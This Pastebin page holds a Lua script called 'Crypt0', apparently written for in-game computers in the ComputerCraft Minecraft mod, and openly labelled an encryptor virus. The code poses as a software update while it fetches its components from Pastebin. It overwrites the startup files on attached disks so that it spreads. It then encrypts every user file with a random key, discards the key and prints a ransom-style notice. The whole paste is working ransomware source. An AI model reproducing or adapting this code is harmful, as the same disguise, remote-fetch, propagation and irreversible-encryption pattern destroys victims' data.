Reinified

Crypt0

Apr 24th, 2018
543
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.10 KB | None | 0 0
  1. --[[
  2. Crypt0 by Reinified.
  3. Virus encrypts all files on PC using AES.
  4. Decryption very difficult.
  5. --]]
  6.  
  7. -- locking
  8.  
  9. -- Encryptor virus example
  10.  
  11. -- setting up to ensure correct encryption
  12. print("Updating software, please wait")
  13.  
  14.  
  15. -- Credit to Xelostar for the first 2 functions
  16. local function getSubPaths(path)
  17.     local list = fs.list(path)
  18.     local paths = {}
  19.  
  20.     for _, name in pairs(list) do
  21.         local newPath = fs.combine(path, name)
  22.         if (fs.isDir(newPath)) then
  23.             local subPaths = getSubPaths(newPath)
  24.             for i = 1, #subPaths do
  25.                 paths[#paths+1] = subPaths[i]
  26.             end
  27.         else
  28.             paths[#paths+1] = newPath
  29.         end
  30.     end
  31.  
  32.     return paths
  33. end
  34.  
  35. local function getPaths(path, readROM)
  36.     if (path == "" or path == "/") then
  37.         if (readROM) then
  38.             return getSubPaths(path)
  39.         else
  40.             local list = fs.list("/")
  41.             local paths = {}
  42.             for _, path in pairs(list) do
  43.                 if (path ~= "rom") then
  44.                     if (fs.isDir(path)) then
  45.                         local subPaths = getSubPaths(path)
  46.                         for i = 1, #subPaths do
  47.                             paths[#paths+1] = subPaths[i]
  48.                         end
  49.                     else
  50.                         paths[#paths+1] = path
  51.                     end
  52.                 end
  53.             end
  54.             return paths
  55.         end
  56.     else
  57.         return getSubPaths(path)
  58.     end
  59. end
  60.  
  61.  
  62. local files = getPaths("/", false)
  63. os.setComputerLabel("Crypt0 PC")
  64. fs.delete("virus")
  65. fs.makeDir("virus")
  66. shell.run("pastebin get EuUDCuRZ virus/vir")
  67. shell.run("pastebin get 9YW1XWXN virus/logsalt")
  68. shell.run("pastebin get DMx8M0LP virus/aeslua")
  69. os.loadAPI("virus/aeslua")
  70. os.loadAPI("virus/logsalt")
  71.  
  72. if fs.exists("disk") and fs.isDir("disk") then
  73. if fs.exists("disk/startup") then
  74. fs.delete("disk/startup")
  75. end
  76. fs.copy("virus/vir", "disk/startup") -- i am evil
  77. end
  78.  
  79. if fs.exists("disk2") and fs.isDir("disk2") then
  80. if fs.exists("disk2/startup") then
  81. fs.delete("disk2/startup")
  82. end
  83. fs.copy("virus/vir", "disk2/startup") -- i am evil v2
  84. end
  85.  
  86. local dec = logsalt.rand(10)
  87. for _,v in pairs(files) do
  88. if string.sub(v, 1,5) == "virus" then
  89.     else
  90. print("Found file " .. v)
  91. end
  92. end
  93. print("starting enc")
  94. local iv = {}
  95. for i = 1,16 do iv[i] = math.random(1,255) end
  96. for _,v in pairs(files) do
  97.     if v == "virus/aeslua" or v == "virus/logsalt" or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" then
  98.     else
  99.     local hBf = fs.open(v, "r")
  100.     local stuff = hBf.readAll()
  101.     local encrypted = aeslua.encrypt(dec,stuff)
  102.     print("Encrypted file " .. v)
  103.     hBf.close()
  104.     hAf = fs.open(v, "w")
  105.     hAf.write(encrypted)
  106.     hAf.close()
  107.     end
  108. end
  109.  
  110. term.clear()
  111. term.setCursorPos(1,1)
  112. print("--- [Crypt0] ---")
  113. print("All major files on this pc have been encrypted.")
  114. print("Reclaiming your files is almost impossible, unless you have the decrypt code.")
  115. print("Obtaining the decrypt code is possible, however very difficult.")
  116. print("--- [Crypt0] ---")
  117. dec = "you thought didnt you"
Advertisement
Add Comment
Please, Sign In to add comment